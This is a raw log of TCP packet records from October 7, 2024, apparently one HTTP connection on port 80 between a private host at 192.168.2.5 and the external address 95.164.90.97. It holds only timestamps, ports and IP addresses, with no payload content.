Oct 7, 2024 18:00:49.704304934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704315901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704325914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704339027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704346895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704350948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704375029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704399109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704545975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704556942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704566002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704576015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704586029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704591990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704600096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704612017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704619884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704622030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704633951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704648972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704648972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704700947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704848051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704858065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704870939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704880953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704888105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704893112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704904079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704912901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704921007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704921961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704940081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704948902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704958916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704965115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704965115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704993010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705003023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705020905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705023050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705035925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705044031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705046892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705055952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705061913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705068111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705077887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705079079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705089092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705099106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705112934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705115080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705131054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705133915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705142021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705152988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705159903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705163956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705174923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705188990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705190897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705197096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705209017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705229998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705252886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705913067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705924034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705933094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705943108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705954075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705959082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705965996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705975056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705985069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.705988884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.705996037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706007004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706007004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.706017971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706027031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.706032038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706042051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706049919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.706053019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706063986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706074953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706078053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.706084967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706094027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.706101894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.706110954 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.706146955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.706165075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.787303925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787348032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787358999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787416935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.787422895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787457943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.787465096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.787806988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787820101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787832022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787843943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787858963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.787869930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787889957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.787928104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.787961006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787972927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787982941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.787995100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788002968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788013935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788028002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788038969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788047075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788069010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788074970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788275003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788286924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788305044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788316965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788325071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788336039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788347006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788357019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788368940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788381100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788389921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788402081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788408041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788417101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788424969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788435936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788444042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788455009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788465977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788475037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788485050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788495064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788510084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788516045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788522959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788556099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788737059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788774014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788860083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788872957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788883924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788903952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788913012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788923025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788932085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788944006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788950920 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788960934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788974047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788980961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.788990021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.788997889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789009094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789017916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789026976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789035082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789045095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789052010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789062023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789072037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789083004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789091110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789099932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789119959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789146900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789570093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789582014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789592981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789603949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789622068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789630890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789640903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789648056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789664030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789671898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789683104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789689064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789699078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789710999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789719105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789724112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789738894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789745092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789753914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789762020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789772034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789781094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789788961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789798021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789809942 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789815903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789822102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789830923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789844036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789850950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789860964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789872885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789880991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789886951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789896965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789908886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789918900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789931059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789942026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789953947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.789977074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789977074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789995909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.789995909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790369034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790380955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790432930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790518999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790530920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790548086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790559053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790572882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790580034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790600061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790607929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790616035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790627003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790636063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790646076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790656090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790661097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790669918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790676117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790680885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790685892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790690899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790702105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790713072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790716887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790724039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790735006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790746927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790755033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790766001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790772915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790782928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790795088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.790803909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790829897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.790858984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791496992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791511059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791522026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791532993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791543961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791555882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791564941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791578054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791587114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791595936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791614056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791620970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791632891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791642904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791650057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791661978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791670084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791681051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791692019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791703939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791709900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791719913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791728020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791740894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791748047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791758060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791771889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.791779995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.791805029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.792262077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.792321920 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.871583939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.871644020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.871655941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.871671915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.871695995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.871714115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.872014999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.872025967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.872037888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.872049093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.872062922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.872067928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.872116089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874066114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874077082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874089003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874125004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874147892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874155998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874166012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874181032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874192953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874202013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874212980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874221087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874229908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874243021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874250889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874272108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874284983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874296904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874341011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874356985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874363899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874376059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874392986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874526024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874536037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874547005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874558926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874571085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874577999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874588966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874603033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874610901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874620914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874633074 CEST	80	49831	95.164.90.97	192.168.2.5
